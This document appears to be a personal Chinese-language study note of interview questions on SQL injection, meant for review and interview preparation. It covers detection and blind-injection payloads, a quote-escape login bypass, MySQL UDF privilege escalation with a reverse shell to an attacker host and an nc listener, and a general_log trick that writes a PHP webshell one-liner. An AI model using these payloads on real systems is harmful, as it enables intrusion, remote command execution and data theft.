以下是我在学习整理面试题时所遇到的问题,方便自己巩固sql注入的学习。
1、sql注入的原理
sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。
2、sql注入的判断方式会几种(如何判断有sql注入)
- 单引号法
如果页面返回错误,则存在sql注入,因为无论是字符型还是数字型都会因为单引号个数不匹配而报错。
- 输入表达式判断
如?id=8,可尝试输入id=2*4,或者id=8-0。
- 测试逻辑语句
以逻辑真和逻辑假共同测试。如下:
id=8' and 1=1
id=8' and '1'='1
id=8' and 1=2
id=7' and '1'='2
//如果是字符型,去掉id=8'后面的单引号。
- 测试延时语句
id=8 and sleep(5)--
若成功则延时返回,则说明存在sql注入。若没有延时,则不存在sql注入。
3、sql注入转译了单引号,怎么办?
如果是get型,则尝试宽字节绕过。
如果是post型,比如登录框处,可尝试构造sql语句进行绕过。
username这样输入:1\,
password这样输入:or 1=1;#
sql语句变成这样select * from user_table where username='1\' and password='or 1=1;#';
在这里,username中输入的\转义了它后面的单引号,因此sql语句实际上变成 username的值等于这样一个字符串: 1' and password=,后面我再接or 1=1;#就生效了。
4、如何防御sql注入
严格检查输入变量的类型和格式
过滤和转义特殊字符
mysql的pdo预编译机制
5、mysql是普通用户时怎么提权,root用户时写shell的条件?
udf提权:
前提:
(1)目标主机是Windows
(2)有insert delete权限
(3)secure_file_priv="" 参数无配置
(4)mysql版本>5.1要将udf.dll导入plugin_dir目录下,可用show variables like '%plugin%'查看,小于5.1要导入到c:\\windows下
(5)绝对路径
利用步骤:
(1)连接数据库成功后将dll文件导入到plugin_dir目录下
(2)输入sql命令,create function cmdshell return soname "udf2.dll"
(3)再执行命令cmdshell('whoami'),发现已经是system权限了
(4)反弹shell,创建函数命令如下:create function backshell returns string soname 'udf2.dll'
select backshell("ip",port),服务器端nc监听即可
root用户写shell的条件:
-
对web目录有写权限
-
GPC关闭(能使用单引号)
-
有绝对路径(读文件可以不用,写文件必须)
-
没有配置 –secure-file-priv
6、sql注入碰到update型和insert型,你会选择哪种?
insert型,避免对原数据作出修改。
7、什么是二次注入?
比如现在有两个链接:
http://www.a.com/1.php?username=test
http://www.a.com/2.php?id=10
其中1.php页面的功能是注册用户名,也是插入sql语句的地方。
2.php页面的功能是通过参数id读取用户名和用户信息。
第一步访问1.php?username=test',返回错误,test',同时也返回了对应的id=21.
第二部访问2.php?id=21。结果返回test'的信息。
然后又回到第一步构造新语句,1.php?username=test' order by 1#,得到一个新的id=31。
接着重复第二步访问新的id, 2.php?id=31,返回错误(unknown column ‘10’ in 'order clause'),
一直重复该步骤。当访问2.php?id=xxx时,页面返回空白,那就是正常,便可以判断数有几列,接下来就同理了。
8、绕waf讲一讲?
小菜一枚,暂时没研究绕waf。
9、sql注入拿shell的方式?
条件:绝对路径,写权限,secure_file_priv无配置,gpc关闭。
方式:
(1)执行系统命令进行反弹shell;
(2)读配置文件尝试远程连接;
(3)写一句话木马。
(4)设置general_log和general_log_file,写入包含sql日志文件拿shell,设置了 general_log 和 general_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开
利用姿势:
set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';
10、mysql提权有哪几种?
udf提权;MOF提权
11、sqlmap -u参数是利用http的get 还是 post
get
12、怎么判断一个注入点是数字型还是字符型?布尔型呢?
不用多说,布尔型应该是存在一些当页面没有具体内容返回的时候,具体场景还请大神赐教。
13、盲注怎么实现?
盲注包括时间盲注、布尔盲注。比如给一个url:www.a.com/?id=1。输入单引号后报错,可以这样:?id=1' and if(substr(database(),1,1)='m',sleep(5),1) ,如果数据库的名字的第一位是m,则延时5秒才返回结果,然后依次类推出完整的数据库名、表名、列名和具体数据就ok,反之则直接返回结果。
而布尔盲注是根据返回结果是否为1或者0,即真还是假,如果成功,返回1,失败则返回0。同理推出其他数据。
14、sql注入攻击流量的特点?
个人认为应该是日志中会存在大量url请求链接相同的情况,知识在个别参数中会存在and、union、各种符号等其他非法参数。